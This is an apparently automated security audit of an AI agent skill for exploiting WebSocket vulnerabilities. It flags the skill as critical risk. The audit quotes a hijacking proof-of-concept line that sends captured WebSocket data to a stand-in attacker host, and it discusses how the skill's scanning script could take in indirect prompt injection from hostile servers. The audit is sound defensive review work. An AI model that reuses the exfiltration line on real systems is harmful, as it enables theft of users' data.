skills/mukul975/anthropic-cybersecurity-skills/exploiting-websocket-vulnerabilities/Gen Agent Trust Hub
exploiting-websocket-vulnerabilities
Fail
Audited by Gen Agent Trust Hub on Sep 15, 2026
Risk Level: CRITICALDATA_EXFILTRATIONEXTERNAL_DOWNLOADSCOMMAND_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
- [DATA_EXFILTRATION]: The skill includes a Cross-Site WebSocket Hijacking (CSWSH) proof-of-concept in
SKILL.mdthat captures real-time WebSocket data and exfiltrates it to a remote server. - Evidence:
fetch("https://attacker.example.com/collect", { method: "POST", body: event.data });inSKILL.md. - Note: The destination URL
https://attacker.example.com/collecthas been flagged as malicious by automated scanners for phishing associations. - [EXTERNAL_DOWNLOADS]: The skill instructions require the installation of multiple external tools and libraries from public registries.
- Evidence: Commands include
cargo install websocat,npm install -g wscat, andpip install websocketsinSKILL.mdandreferences/api-reference.md. - [COMMAND_EXECUTION]: The skill executes various network-probing commands and provides a custom Python script to perform active vulnerability assessments against target systems.
- Evidence: Use of
curl,wscat, andscripts/agent.pyto send specifically crafted WebSocket upgrade requests and payloads to user-defined targets. - [INDIRECT_PROMPT_INJECTION]: The assessment script ingests data from external WebSocket servers, creating a potential surface for indirect injection if a target server is adversarial.
- Ingestion points:
ws.recv()intest_message_injectionandtest_idor_channelsfunctions withinscripts/agent.py. - Boundary markers: No explicit boundary markers or "ignore embedded instructions" warnings are used for data received from the network.
- Capability inventory: The script can perform further network requests via the
requestslibrary and write results to a local JSON file. - Sanitization: The script truncates responses to 300 characters for logging purposes but does not sanitize or escape the content for malicious patterns.
Recommendations
- AI detected serious security threats
- Contains 1 malicious URL(s) - DO NOT USE
Audit Metadata